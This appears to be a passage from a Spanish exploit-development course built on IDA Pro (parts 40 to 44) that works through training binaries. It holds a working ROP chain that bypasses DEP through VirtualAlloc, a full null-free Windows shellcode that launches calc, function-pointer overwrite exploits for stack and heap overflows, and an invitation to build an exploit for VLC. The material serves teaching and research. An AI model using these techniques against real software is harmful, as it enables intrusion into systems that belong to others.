Si XXXX es mayor que 0x610 siempre que no se vaya fuera del stack, moverá ESP adonde
está mi data para continuar ropeando.
Veo que lo más que le suma a ESP es 0x30 no llega hasta mi fruta.
Este gisnap hará un dumpeado del proceso, luego tengo que editar el archivo objective.txt
del agafi poniendo cual es la condición que quieres que se dé, en este caso podría ser.
esp= [esp+0x08]
Y le podes configurar que solo busque partiendo de cierto ejecutable como en este caso
Mypepe.dll.
Dejo descomentada la condición y el rango que necesito.
Después corro el agafi poniendo el nombre del dump que hice antes, que lo guardo en la
misma carpeta y el nombre de un txt de salida.
----------------------------------------
[x] Valid gadget at: 7801194e
--> matchs: esp=[esp+0x8]
--> stack used: N/A
--> preserved registers:
*** 7801194e: clc
*** 7801194f: popa
*** 78011950: jl 0x7801195a
*** 7801195a: pop ebx
*** 7801195b: leave
*** 7801195c: ret
Es que después de ejecutarlo ESP queda apuntando nuevamente justo al SEH y vuelve a
saltar al mismo gadget y se rompe en la segunda vez por un valor de EBP 0x41414141 que
pasa a ESP en el LEAVE-RET.
Bueno para poder terminarlo y demostrar cómo se hace, le agregare una instrucción ADD
ESP, XXXX -RET al Mypepe.
Vemos la distancia donde debe ir el ROP aquí estoy en ESP=0xeff5c0 y veamos donde
empieza mi data.
Armo el script.
from os import *
import struct
def create_rop_chain():
# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
0x7801eb94, # POP EBP # RETN [Mypepe.dll]
0x7801eb94, # skip 4 bytes [Mypepe.dll]
0x7801ee74, # POP EBX # RETN [Mypepe.dll]
0x00000001, # 0x00000001-> ebx
0x7802920e, # POP EDX # RETN [Mypepe.dll]
0x00001000, # 0x00001000-> edx
0x7800a849, # POP ECX # RETN [Mypepe.dll]
0x00000040, # 0x00000040-> ecx
0x78028756, # POP EDI # RETN [Mypepe.dll]
0x7800b281, # RETN (ROP NOP) [Mypepe.dll]
0x78001492, # POP ESI # RETN [Mypepe.dll]
0x780041ed, # JMP [EAX] [Mypepe.dll]
0x78013953, # POP EAX # RETN [Mypepe.dll]
0x7802e030, # ptr to &VirtualAlloc() [IAT Mypepe.dll]
0x78009791, # PUSHAD # ADD AL,80 # RETN [Mypepe.dll]
0x7800f7c1, # ptr to 'push esp # ret ' [Mypepe.dll]
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
print stdin
print "Escribe: " + fruta
stdin.write(fruta)
print stdout.read(40)
Vemos que use el mismo ROP que antes y le agregue el mismo shellcode para Mypepe y
funciono.
Vemos que cuando llego al RET el ROP queda en el stack desde el inicio, para continuar
ropeando y ejecutando el shellcode.
Hasta la parte 40
Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO PARTE
40
_________________________________________________________________________
SHELLCODE UNIVERSAL
Existen miles de tipos de shellcodes, cada uno de acuerdo al objetivo que se tiene al hacer
el exploit.
Hay shellcodes que son para probar que se puede ejecutar código después de la
explotación, normalmente estos ejecutan una calculadora y nada más.
Obviamente hay shellcodes mucho más complejos que abren consolas remotas, tratan de
permanecer en el sistema a pesar de que el programa explotado crashee o se cierre,
inyectándose en algún otro proceso del sistema, guardándose como archivo etc.
Hay una biblioteca de shellcodes que buscando en Google podemos encontrar o podríamos
programar si necesitamos algo especifico.
Nosotros usaremos a partir de ahora un SHELLCODE UNIVERSAL que sirve para todas las
versiones de Windows y que ejecuta la calculadora, con eso demostraremos ejecución de
código.
https://packetstormsecurity.com/files/102847/All-Windows-Null-Free-CreateProcessA-Calc-
Shellcode.html
shellcode="\x31\xdb\x64\x8b\x7b\x30\x8b\x7f\x0c\x8b\x7f\x1c\x8b\x47\x0
8\x8b\x77\x20\x8b\x3f\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03\x78\x3c\x8
b"\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x89\xdd\x8b\x34\xaf\x01\xc6\x
45\x81\x3e\x43\x72\x65\x61\x75\xf2\x81\x7e\x08\x6f\x63\x65\x73\x75\x
e9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\x
af\xfc\x01\xc7\x89\xd9\xb1\xff\x53\xe2\xfd\x68\x63\x61\x6c\x63\x89\x
e2\x52\x52\x53\x53\x53\x53\x53\x53\x52\x53\xff\xd7"
Así como esta lo puedo usar en un script de Python siempre y cuando tenga lugar para
ingresarlo.
31 db 64 8b 7b 30 8b 7f 0c 8b 7f 1c 8b 47 08 8b 77 20 8b 3f 80 7e 0c
33 75 f2 89 c7 03 78 3c 8b" 57 78 01 c2 8b 7a 20 01 c7 89 dd 8b 34
af 01 c6 45 81 3e 43 72 65 61 75 f2 81 7e 08 6f 63 65 73 75 e9 8b 7a
24 01 c7 66 8b 2c 6f 8b 7a 1c 01 c7 8b 7c af fc 01 c7 89 d9 b1 ff 53
e2 fd 68 63 61 6c 63 89 e2 52 52 53 53 53 53 53 53 52 53 ff d7
MOV EDI,DWORD PTR FS:[EBX+30]
XOR EBX,EBX
MOV EDI,DWORD PTR DS:[EDI+C]
MOV EDI,DWORD PTR DS:[EDI+1C]
MOV EAX,DWORD PTR DS:[EDI+8]
MOV ESI,DWORD PTR DS:[EDI+20]
MOV EDI,DWORD PTR DS:[EDI]
CMP BYTE PTR DS:[ESI+C],33
JNZ SHORT CANARY_c.00A7138A
MOV EDI,EAX
ADD EDI,DWORD PTR DS:[EAX+3C]
MOV EDX,DWORD PTR DS:[EDI+78]
ADD EDX,EAX
MOV EDI,DWORD PTR DS:[EDX+20]
ADD EDI,EAX
MOV EBP,EBX
MOV ESI,DWORD PTR DS:[EDI+EBP*4]
ADD ESI,EAX
INC EBP
CMP DWORD PTR DS:[ESI],61657243
JNZ SHORT CANARY_c.00A713A9
CMP DWORD PTR DS:[ESI+8],7365636F
JNZ SHORT CANARY_c.00A713A9
MOV EDI,DWORD PTR DS:[EDX+24]
ADD EDI,EAX
MOV BP,WORD PTR DS:[EDI+EBP*2]
MOV EDI,DWORD PTR DS:[EDX+1C]
ADD EDI,EAX
MOV EDI,DWORD PTR DS:[EDI+EBP*4-4]
ADD EDI,EAX
MOV ECX,EBX
MOV CL,0FF
PUSH EBX
LOOPD SHORT CANARY_c.00A713D8
PUSH 636C6163
MOV EDX,ESP
PUSH EDX
PUSH EDX
PUSH EBX
PUSH EBX
PUSH EBX
PUSH EBX
PUSH EBX
PUSH EBX
PUSH EDX
PUSH EBX
CALL EDI
Eso ejecuta la calculadora en cualquier lugar que lo peguemos, tiene de bueno que no tiene
ceros, aunque puede haber programas que rechacen algún otro carácter, eso dependerá
del caso.
Ya sabemos hacer ROP y ya tenemos un shellcode universal, la idea es que practiquen con
el programa VLC que dejamos hecho el POC, me haría muy feliz que alguno me mande el
archivo completo y un tute explicando lo que hicieron, lo agregaría aquí como una parte al
primero que envíe al exploit con un tuto bien explicado.
El rop lo pueden hacer a mano o con mona no hay problema deben buscar a ver si hay dlls
sin ASLR y si hay más de una sin ASLR, el mona tiene para pasar más de una dll como
argumento, para armar el ROP combinando ambas.
En cuanto al script de Python les daré un esquema una vez que arman el ROP, abren el
archivo POC.ty+
Voy marcando hacia abajo hasta que obtengo la zona marcada del largo que necesito.
Ahí hay un esquema del script no está probado ni nada, no funcionara, no tiene definido el
ROP ni el SHELLCODE, pueden usar el SHELLCODE UNIVERSAL que acabamos de ver si
no hay problemas con ningún carácter sino deberán buscar otro.
La idea es que el script abre el archivo con los 90, los reemplaza como una fruta del mismo
largo que contiene al inicio el ROP y el SHELLCODE y relleno, y luego lo guarda para
probarlo, si funciona será el exploit, sino habrá que tracear a ver que falla, jeje.
La verdad me pondría muy contento y vería que tanto escribir no es inútil, si alguien hace un
tute y manda el exploit funcional.
El primero que envíe lo pondré como parte del curso, si hay más de uno los subiré dentro de
la carpeta SOLUCIONES del curso que creare para esto en las webs (si es necesario jeje)
Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO
PARTE 41
________________________________________________________________________
Seguiremos practicando y viendo ejemplos en este caso es un código que tiene formas diferentes de manejar y
ubicar strings.
Vemos que hay varias array de caracteres y luego al final imprime las direcciones de cada uno, para ver donde
se ubicó.
Abramos el ejecutable en el LOADER hacemos que cargue los símbolos, veremos la función main.
Ahí tenemos el main solo tiene una llamada a la función ejemplos_ubicación, nada más, activamos el
DEMANGLE NAMES –NAMES.
Ahí está, veamos que pasa dentro de la función, vemos que no tiene argumentos solo variables.
Si hubiera argumentos deberían estar debajo del return address r y no hay nada así que solo variables.
Vemos que tanto mensaje_en_stack como mensaje_en_stack_sin_inicializar, son buffers en el stack, aquí uno
de 100 bytes y el otro de 23.
Vemos que en el caso 2 se reserva 100 bytes porque no sabe lo que va a guardarse allí, podría ser algo que
ingrese el usuario y no sea fijo, mientras que el otro guarda el espacio para la string “hola reverser en stack”
que ya tiene un largo fijo determinado.
Mide 22 más el cero del final 23 de largo total.
rdata
Declares an initialized data section that is readable but not writable.
Microsoft compilers use this section to place constants in it.
Vemos que en la sección rdata Visual Studio guarda al compilar, los datos constantes que no cambiaran y en
este caso la string se guarda allí y como la sección no es escribible no cambiara, para luego copiarla al stack.
El LEA mueve a EDI la dirección del buffer en el stack y copia con el reps movs la string al mismo,
inicializando la variable.
Lógicamente en el caso 2 este buffer sin inicializar esta para algo y el programa lo va a usar y llenar en algún
momento.
Lo hará ahí, parece similar al caso 1, pero ahora el programa usa una api de Windows para copiar, agarra el
OFFSET de la string de la sección rdata “hola reverser sin inicializar” y copia con strcpy.
Obviamente el compilador en la inicialización de variables del stack como en el caso 1, no usara apis de
Windows, se arreglara con instrucciones como reps movs, mientras que en el caso 2 ya es código del
programa en sí que puede usar apis.
Se da la coincidencia que este caso 2 tiene una string ya determinada de tamaño fijo, pero podría ser una
string que ingrese el usuario que puede variar su largo, allí habrá que chequear que no desborde el buffer, con
una string más larga que el largo del mismo.
Obviamente de estas dos strings al final se obtendrá las direcciones de las mismas con LEA, y se imprimirán
dichas direcciones.
Si coloco un breakpoint allí y elijo el debugger local y arranco el programa en modo debugger.
Veo que las direcciones que imprime son del stack y puedo ir a ver las strings a dichas direcciones.
Si aprieto la A para convertir en string ascII.
Y la otra.
Así que por ahí vamos bien veamos las otras strings, paremos el debugger y volvamos al loader.
Vemos que las otras dos variables son punteros (offset) y solo ocupan 4 bytes cada una (dd).
Vemos que en este caso como dijimos la variable es un puntero y guarda la dirección que obtiene con
OFFSET en la variable del stack mensaje_en_data.
La string está ubicada en rdata y guardada allí y lo que manejamos en el stack es el puntero a la misma,
mientras que en las anteriores la string se copiaba completa al stack llenando un buffer en el mismo.
Vemos que ahora no necesita un LEA para hallar la dirección pues el valor de la variable es un puntero y es
la dirección que se mueve a EAX y se pushea para imprimir su valor, veamos si lo debuggeamos igual que
antes.
Si voy a dicha dirección de rdata estará la string.
Si aprieto D varias veces cuando se transforma en un dword, detecta que apunta a la string y cambia al
OFFSET de la misma.
Allí vemos que poniendo el mouse vemos que dicha variable tiene guardada la dirección (OFFSET) de la
string, pues es una variable puntero que guarda direcciones.
Dejemos la variable que nos queda pendiente del stack para el final y miremos las variables globales, el que
no sabe las variables globales se ubican en el código fuente fuera de todas las funciones, generalmente arriba
de todo.
Vemos algo confuso estamos en la sección data la cual se utiliza para las variables globales.
Por un lado está la definición del buffer char string [18] que la saca de los símbolos, sabe que es una string de
ese largo la que ira allí en ese buffer,
Allí mismo está la string guardada “Donde se ubicara”, si apretamos D, vemos los bytes, si apretamos A
volvemos a como estaba.
Normalmente cuando hay una segunda definición es porque hay alguna referencia a alguna api, de la misma
saca que tipo de variable necesita y la coloca como definición también.
Es una argumento a printf cuyo segundo argumento es una dirección, si hacemos click derecho veremos que
es la dirección donde se encuentra la cadena que le está pasando.
Allí al hacer click derecho reemplace los offset a las strings por directamente la dirección que va a imprimir,
vemos que en ambas están en la sección data.
La única diferencia es que String2 no está inicializada por lo tanto con la A de ascII no la retorno al estado
original, porque está llena de ceros, y esta vacía, así que click derecho ARRAY servirá.
dup(0)
Significa que se repite el cero dw(2 bytes) por 0xa veces o sea dará 20 decimal.
Si lo cambio a bytes es más directo serán 0x14 o sea 20 bytes llenos de ceros.
Volví el OFFSET que se pasa como argumento a la representación original, haciendo click derecho y
eligiendo offset * char y luego con X veo las referencias, le primera es donde se llenara el buffer.
Veo que allí se copia la string que viene de rdata “Donde se ubicara?” al buffer en data que es escribible y
puede modificarse.
Obviamente en la sección data como es una sección escribible y que puede tener buffers, puede haber
overflows también, si está mal calculado el largo de la string, pudiendo pisar variables globales que estén allá
y que afecten al programa.
La que queda es ver la del heap, era un puntero en el stack que guardaba la dirección de la string que se
ubicaba en el heap.
Vemos que allí guarda el OFFSET o sea la dirección de la string “hola reverser en data”, y luego le pasa la
dirección a strlen para sacar el largo de la misma.
La dirección que devuelva variara, pero será una zona reservada con permiso de lectura y escritura donde
copiara más adelante.
Allí guarda esa dirección del heap que apunta a ese buffer, en la variable puntero del stack llamada
mensaje_en_heap.
Luego copia la string apuntada por mensaje_en_data al buffer creado en el heap.
Luego le saca el largo de la string “hola reverser en “ y se la suma a la dirección de inicio del buffer en el
heap, le queda justo apuntando para reemplazar la palabra data por heap, ya que hace un memcpy de 4 bytes
pasando como source “heap” y como destination el puntero a la palabra data que está en el buffer del heap.
El destination es la dirección mensaje en heap + el largo de la string “hola reverser en “ eso quedara
apuntando a la palabra data la que pisara con 4 bytes siendo el source “heap”.
Como esta en modo debug (sino esto no funcionara) y aun no se escribió nada vemos BAAD FOOD jeje mala
comida.
Son cinco DWORDS o sea 20 bytes de largo el buffer más los dos bytes finales 0xFEEE, le pedí 0x16 y me
22 decimal jeje.
Ya veremos más del heap por ahora ese es el buffer lleno de mala comida (BAAD FOOD) para darle de
comer jeje.
Luego en ese strcpy copiara la string hola reverser en data en mi baad food jeje.
Veo en el buffer del heap los bytes copiados con la A los convierto en string ascII.
Había dos ejercicios pendientes de la parte 41 para que practiquen, lamentablemente nadie
me envió una solución, lo cual es algo que a uno le deja pensando si lo que hace vale la
pena, al menos alguna pregunta, algún feedback no hubo nada.
Esto hace replantear las cosas y preguntarme si vale la pena llegar tan lejos como pensaba
con este curso, ya veremos qué decisión tomamos ante la falta de feedback, por ahora
solucionaremos el ejercicio 41.
https://github.com/keystone-engine/keypatch
http://ricardo.crver.net/WEB/INTRODUCCION%20AL%20REVERSING%20CON%20IDA
%20PRO%20DESDE%20CERO/EJERCICIOS/
Tratare de no usar símbolos ya que ustedes tampoco los tienen, así lo hacemos en forma
similar.
Si vemos las strings vemos la string Mypepe.dll así que es probable que haya que colocarla
en la misma carpeta, la misma dll de los ejercicios anteriores.
Vemos que la carga allí, así que vamos bien, esta parece ser la función main como es un
programa de consola, si es así, debería tener como referencia una función que le pasa
como argumentos argc argv etc.
Vemos que en la referencia a la función si vamos allí, está el típico llamado a main se ven
los argumentos de consola.
Comencemos a reversear.
Allí vemos que lee la entrada de la IAT de system, que está en la sección idata, la dirección
de dicha api y la mueve a EAX.
A veces si tienen alguna duda con la sintaxis del IDA, usando el keypatch ven la alternativa
sencilla hasta que se acostumbren.
Allí ven la entrada de la IAT que lógicamente dice extrn, pues es una api externa al módulo
importada para usarla.
Por supuesto en IMPORTS están las funciones importadas por el módulo y la dirección de
la entrada de la IAT muestra 4020a8, así que todo coincide.
Recordamos que en ida si hay un prefijo de tipo de dato delante de una dirección, significa
que el contenido de esa dirección es de ese tipo en este caso un dword, al menos es de 4
bytes de largo, además escribe allí la dirección de la api.
Como se que es un puntero a una api, puedo sin complicarme mucho poner que es un
puntero a algo no conocido.
void * p_system
Total no son necesarias definiciones tan precisas pues se castea, lo importante que es un
puntero a algo.
Así que en definitiva será una variable del tipo puntero que guardará la dirección de la api
system.
Hay otra variable del mismo tipo que guarda la dirección de la api SetProcessDEPPolicy,
hago lo mismo.
Lo cambio también en el decompilado del hexrays con f5 y cambiando el tipo ahí, aunque
no influye en nada.
Vemos que la variable global p_system se reusa y guarda el puntero (usa LEA para hallar la
dirección) a la variable size que es un dword obviamente casteara para hacerlo en C++ pero
acá no importa ambos son punteros.
Normalmente cuando una variable se reusa yo lo que hago es poner barras horizontales ya
que no se puede poner la barra inclinada y a continuación el segundo nombre.
Algo como
p_system_____p_size
jeje y bueno en funciones complejas se reúsa mucho y hay que seguir eso.
Luego compara argc que es la cantidad de argumentos con 2, así que es el nombre del
ejecutable más un argumento, o sea dos en total, si no son dos argumentos saltea todo y
sale de la función directamente.
Sabemos que argv es un array y que en la posición 0 se guarda la string del nombre del
ejecutable y si le sumamos 4 como hace allí obtendrá la dirección de la string del primer
argumento.
Luego la pasa esa string a atoi, para tratar de convertirlo a un entero, si no puede dará
error.
Al volver de atoi ese valor se guarda en la variable size que está en el stack.
No confundir con la variable global p_system_____p_size que tiene guardada la dirección
de esta misma variable size.
Compara ese valor size que provino de argv con 0x300 y si es mas grande saltea y va al
return del main, por supuesto ese size es signed, porque la comparación usando JLE nos
dice eso.
Al ser signed pasarle un valor negativo, lo tomara como menor que 0x300 por ejemplo si
paso -1 será menor considerando el signo a 0x300, y pasará la comparación.
Obviamente si es size se usa como tamaño de una api que lo tome como unsigned podrá
haber overflow, pues para dicha api no será un valor negativo sino sin signo, por ejemplo si
era -1, para la api que lo tome como positivo será 0xffffffff el máximo positivo.
Vemos que hay un gets_s para ingresar datos así que le pongo a la función el nombre
ingreso.
Ese gets_s tiene como tamaño el size que sabiamos que podía ser un valor que tomado
como unsigned podía overflodear el buffer.
Allí vemos que el tamaño la api lo toma como del tipo size_t
Y este size_t es unsigned, así que seguro podremos overflodear el buffer, veamos cuanto
es el largo del mismo, aunque ya vimos que lo hacia mal, pero intentaba filtrar los tamaños
de size mayores que 0x300 así que es muy probable que el size del buffer sea ese.
Vemos que el buffer está en la sección data e IDA me dice que el largo del mismo es de
0x64 justo debajo del buffer vemos las variables globales p_SetDEP y p_system____p_size,
así que no hay error, el chequeo de si es mayor de 0x300 incluso permite overflodear este
buffer de 0x64 (100 decimal), sin necesidad de ser negativo, solo con ser el size mayor que
0x64.
Una vez que escriba más que 0x64, seguiré hacia abajo, y podré pisar los punteros
guardados allí en la sección data.
Ahora después de que los escriba usara alguna vez esos punteros?
Veo en las referencias a p_SetDEP que hay un call usando ese puntero a la función y que si
lo piso con el overflow podría desviar la ejecución.
Justo esta despues del gets_s así que viene perfecto, hagamos el script.
Modifico el script que tenia que era bastante similar le dejo -1 cómo size, total pasará el
chequeo y pongo 0x64 Aes para llenar el buffer, y luego por ahora pongo 0x99989796 que
supuestamente debería pisar el puntero que está justo debajo.
Como el ROP de Mypepe.dll ya estaba hecho lo dejo, ya veré como lo acomodo, por ahora
ejecuto el script y atacheo el IDA pongo un breakpoint justo después del gets_s, para que
pare allí.
Vemos que el buffer se ve bastante lleno vayamos allí a ver.
Si aprieto U para UNDEFINE se ven las Aes vayamos a ver si piso el puntero.
Veo que no tiene DEP pues acabamos de pisar la justo la api que lo iba a habilitar
SetProcessDEPPolicy, así que no necesitaremos el ROP aquí.
EAX está apuntando al buffer con las Aes, así que si puedo saltar allí podré acomodar el
shellcode al inicio, y ejecutarlo.
Podría buscar un CALL EAX en la mypepe que no tiene asir, uso el nuevo keypatch con la
opción SEARCH y pongo CALL EAX.
Vemos en los resultados que hay varios de mypepe, elijo alguno por ejemplo.
Cuando voy allí aprieto la C para que se transforme en código, pues no lo había
desensamblado.
0x7802c16e será el CALL EAX que elijo lo pongo en el script.
Al shellcode lo coloco adelante, ya que salta al inicio del buffer y para no variar el largo
antes del puntero le resto el largo del shellcode a la cantidad de Aes .(el ROP ya no lo
necesito así que lo quito.)
Listo el pollo ya ejecuta la calculadora, les dejo a ver si alguien me pone contento y hace el
41b. (o al menos lo intenta)
Hasta la parte siguiente.
Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO
PARTE 43
Vamos a solucionar la práctica 41b.
Así que en condiciones normales aun sin saber que es un new si le pongo a la función esta como nombre
_malloc porque termina llamando a malloc, no habría gran problema, si IDA no me avisara, sería un malloc
de 0x6C que es el largo del objeto, o si no se eso, es el size a allocar y punto.
Vemos que la dirección de la zona allocada la guarda en Dst, así que podría renombrarla a p_Dst_Heap, ya
que apunta a la zona allocada que se encuentra en el Heap, ya que malloc reserva zonas en el Heap
devolviéndome la dirección a ella.
Si devuelve distinto de cero o sea si allocó correctamente va al bloque verde, donde le pasa esa misma
dirección y hace memset para llenar todo ese buffer en el heap de ceros, para vaciarlo de contenido anterior.
Vemos aquí
Copia el mismo puntero a otra variable, así que le puse p_Dst_Heap_2 ya que no puedo ponerle a dos
variables diferentes el mismo nombre.
Allí ya empezamos a sospechar que el new se realizó para allocar un objeto del tipo estructura, vemos que el
mismo puntero lo guarda en la variable Buf luego lo mueve a EAX y luego en la posición 68 de la zona
reservada escribe la dirección de system, y en la posición 0x64 escribe la dirección de SetProcessDEPPolicy,
así que podemos pensar que como tiene diferentes tipos de datos guardados dentro, sería una estructura de
0x6c de largo donde en 0x64 hay un puntero y en 0x68 otro, podemos armarla.
struct _listeros
{
char Buf[0x64];
void * puntero1;
void * puntero2;
};
Veamos si funciona, esta estructura tendría un buffer interno en el inicio de 0x64 y dos campos del tipo
puntero o sea 8 bytes más, si todo está bien su largo seria 0x6c, veamos vayamos a LOCAL TYPES y
agreguémosla.
En LOCAL TYPES hago click derecho INSERT y la agrego y luego click derecho SYNCRONIZE TO IDB.
Allí EAX y más abajo EDX apuntan al inicio de la estructura si en cada una aprieto T y elijo listeros.
Queda así, podría ponerle nombres más descriptivos a los campos, como creamos la estructura en LOCAL
TYPES debemos editar los nombres allí.
Vemos que también si apretamos T en el próximo campo, también corresponde al puntero2 que se reusa
guardando el size, al igual que en la práctica anterior, así que lo renombrare.
Ahora si, ese campo inicialmente se usa para guardar el puntero a system y luego se guarda el size por eso la
separación con guiones bajos para que se note que la variable se reuso.
Luego compara argc con 2 para ver si son dos argumentos, el nombre del ejecutable más un segundo
argumento igual que en la práctica anterior.
Este bloque es similar a la práctica anterior lee el argumento que le pasamos si puede lo transforma a entero e
igual que antes si es más grande que 0x300 te saltea al final del main, directo al ret.
También en este se usa JGE por lo cual se considera el signo, por lo que valores negativos, serán menores que
0x300 y pasaran la comparación perfectamente.
Veamos la función.
Vemos que con get_s recibirá lo que tipea el usuario, y como el size puede ser negativo desbordara, aquí el
tema es que cuando hacemos malloc creamos un buffer en el heap para alojar la estructura entera, y dentro de
la misma hay un campo de la estructura que es un buffer interno para recibir lo que tipea el usuario en el
gets_s.
Si todo funcionara y el chequeo no dejara pasar valores negativos ni mayores que 0x64, no se podría
desbordar el buffer Buf y pisar los punteros que están debajo en la estructura.
struct _listeros
{
char Buf[0x64];
void * puntero1;
void * puntero2;
};
De cualquier forma aquí no solo podemos desbordar el buffer Buf y pisar los punteros sino que podemos
continuar escribiendo mas abajo y desbordar el bloque allocado entero de 0x6c y seguir rompiendo y pisando
cosas en el heap.
Ya nos damos una idea de que como justo debajo usa el puntero a setDEP podremos saltar a ejecutar.
Para pisar ese puntero sabemos que tenemos que llenar el buffer Buf que media 0x64 y luego desbordara.
Vemos que modificando un poco el script anterior, tenemos algo bastante funcional, el shellcode va adelante
y se debe compensar para que el total antes de la dirección a saltar sea 0x64, veamos cómo va.
Vemos que EAX tiene el puntero a donde saltar y EDX apunta al inicio del buffer donde está mi shellcode.
Así que buscando un JMP EDX o CALL EDX o PUSH EDX –RET ya que no tiene DEP funcionara usemos
idasploiter.
Ese gadget hace PUSH EDX, luego tiene instrucciones en el medio que no cambian el stack ni crashean y
luego RET así que funcionara.
Por eso poco a poco iremos introduciendo dificultad a medida que vayamos avanzando.
Uno de los problemas que veremos ahora, se da cuando fuzzeamos (usamos una tool que pruebe millones de
combinaciones de entrada) y descubrimos un crash y no sabemos si allí hay un overflow o que, necesitamos
saber más del mismo para poder manejar la explotación, pongamosle que es este caso, hago un script parecido
pero sin conocer tamaños ni nada y se lo tiro a un programa o es el resultado de usar una tool de fuzzing que
me dice que ese script crashea el mismo.
Supongamos que la tool fue tirándole y probando miles de combinaciones de entradas, y llego a que este
script crashea el programa, podemos ejecutarlo y vemos que así será, coloco el IDA como JIT dese una
consola de administrador yendo a la carpeta donde está el ejecutable del IDA con cd y luego.
idaq.exe -I1
Si lanzo el script y no atacheo el IDA aprieto ENTER y espero que crashee para atachearse automáticamente
el IDA como JIT.
Vemos que el programa salto a ejecutar EIP vale 0x41414141, pero como sabemos que paso y si hay un
overflow y donde se produjo, miremos el call stack a ver de dónde venimos ejecutando.
Vemos que no muestra nada en el stack hay lo que parece un return address que vendría del ejecutable
PRACTICA41b.exe.
Así que analicemos el mismo, pues así como esta no se ve nada, recordemos que el IDA se atacheo como JIT
y no tiene ningún análisis hecho.
En MODULE LIST busco analize module y load symbols.
Bueno al menos sabemos dónde salto y que esa dirección en el stack es un return address que coloco el CALL
EAX al saltar a 0x41414141.
Si es un programa sencillo como el que estamos usando, quizás podríamos ver donde allocó y donde escribió
y overflodeo, pero en un programa real hay miles de allocaciones y escrituras y nos volveremos locos
haciéndolo.
Por hoy veremos un truco que nos dirá el punto justo donde escribió y overflodeo el programa, sea el más
difícil del mundo y con un millón de allocaciones funcionara igual.
https://blogs.msdn.microsoft.com/webdav_101/2010/06/22/detecting-heap-corruption-using-gflags-and-
dumps/
El tema es que usando gflags que trae el Windbg, cambiamos la forma en que se maneja el heap y como dice
ahí ubica al final de cada allocacion en el modo FULL PAGE, un bloque no escribible, cosa de que cuando se
pase un byte del tamaño del bloque crashee por escritura y me deje justo en el punto donde escribe y
overflodea, que es normalmente el punto interesante.
Voy hasta el path donde está el gflags.exe en la misma carpeta que esta el windbg.exe y cambio a que este
habilitado el PAGE HEAP en modo FULL con.
Bueno la cuestión es que lo habilitamos y cerramos el IDA que sigue estando como JIT y relanzamos el
script.
Vemos que cambio ahora, esta crasheando al tratar de escribir la A o sea 0x41 fuera del bloque correcto
provocando un overflow, ahora podemos ver de dónde viene la escritura perversa jeje.
En el STACK TRACE ahora vemos de donde viene vemos el gets_s donde se produjo el overflow y desde
donde el programa lo llamo.
Que es la llamada a get_s si queremos que nos diga el nombre analizamos y buscamos los símbolos del
módulo ucrtbase.dll que vimos en el call stack que era el que tiene la función gets_s exportada.
Bueno poniendo el mouse encima se ve.
Y podemos a mano por ahora, hasta que veamos el análisis del heap más detallado en windbg, saber
aproximadamente el tamaño el bloque allocado en el heap, al menos lo que tengo que escribir para
desbordarlo.
Le pongo menos 1 porque en ESI no pudo escribir, ahí veo los 41 que venía escribiendo si voy al inicio de los
mismo subiendo.
Marcando toda la zona y luego apretando EDIT-ARRAY.
Vemos que me da 112 que es el tamaño 0x70 aproximado del bloque allocado que era 0x6c, obvio también
esto depende de que se escriba desde el inicio del bloque o no, y hay 4 bytes que bueno el sistema no es
perfecto al allocar una página contigua y redondea un poco, pero estamos bastante cerca, obviamente con los
comandos del Windbg embebido será mucho más sencillo, pero siempre habilitar con gflags page heap full, es
muy útil hallamos algo que puede llevar horas y enloquecer a más de uno, el punto donde se produjo el
overflow en el heap.
Obviamente al hablar de overflow hablamos de desbordar el bloque que se allocó con malloc, el sistema pude
detectar eso, pero si solo desbordáramos el buffer interno de la estructura y solo nos pasáramos 4 bytes para
pisar el puntero a SetDEP esto no funcionaria, aunque ese es un caso muy extraño y no es lo normal, lo que
siempre ocurre es un desbordamiento en algún bloque de heap que se pasa y pisa los bloques que están
contiguos.
Vuelvan el heap al estado normal al terminar.
Hasta la parte 44
Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO
PARTE 44
Por supuesto tenemos el ejercicio para resolver PRACTICA_44, pero lo haremos en la partes
siguientes ahora veremos alguna info mas que podemos obtener usando Windbg dentro de IDA.
Usaremos el caso anterior del PRACTICA 41 b que como sabemos era un heap overfow.
Cambiamos el debugger de IDA a Windbg y nos jamos que en las DEBUGGER OPTIONS este en
modo USER.
Cambiamos el gfags para que el proceso tenga el PAGE HEAP enabled en modo full.
Y lanzo el script2
Pero esta vez cuando se detene atacheo el IDA con al análisis del PRACTICA41b cargado en el
LOADER y por supuesto en modo debugger Windbg user.
Lógicamente crasheara al igual que antes, cuando intenta escribir fuera del bloque allocado y
desborda.
Por supuesto para esto tenen que tener bien con gurado el Windbg dentro de IDA de cualquier
manera si alguien tuvo problemas para instalar el Windbg y que ida se lo reconozca, lo pude hacer
atacheando el WINDBG fuera de IDA y tpeando los comandos en el mismo, no tendrán la interfase
del IDA pero les dará la misma información.
Bueno tene muchos comandos de heap útles el Windbg, creo que para trabajar con heaps es el
más completo.
Ese comando es muy útl solo funciona por completo con las page heap full enabled, y vemos que
me dice el size del bloque allocado, que el mismo esta usado o busy (no libre) y me informa la
historia de los lugares por donde paso cuando ese bloque se allocó.
Si hubiéramos lanzado el mismo comando en un bloque que fue liberado o free, nos daría la
historia de los lugares donde se liberó.
002411ac PRACTICA41b+0x000011ac
Y hacia arriba en la lista de la historia, se ve como llama a malloc luego internamente a
RtlAllocateHeap etc.
0024109d PRACTICA41b+0x0000109d
Vemos que nos marca los return address de los calls donde entro al allocar.
Vemos que nos muestra el user address que es el inicio del bloque para el usuario, donde se
puede escribir, antes está el header del bloque.
En la página de Microso vemos la información del header en este caso para heap en modo full
page, vemos que comienza con ABCDBBBB y termina con DCABBBBB, veamos si lo vemos justo
antes del inicio de donde escribimos.
¡heap –p –a xxx
Ahora probaremos que info nos da en el caso de usarlo con heap normal, obviamente no será tan
especí ca ni tendrá historia de cada bloque, pero bueno.
Lanzo el script de nuevo y cuando para atacheo de nuevo el ida con el análisis y el debugger
Windbg local como antes.
Lógicamente no tenemos la misma info y el programa crasheo cuando salta a ejecutar miremos el
heap a ver que vemos.
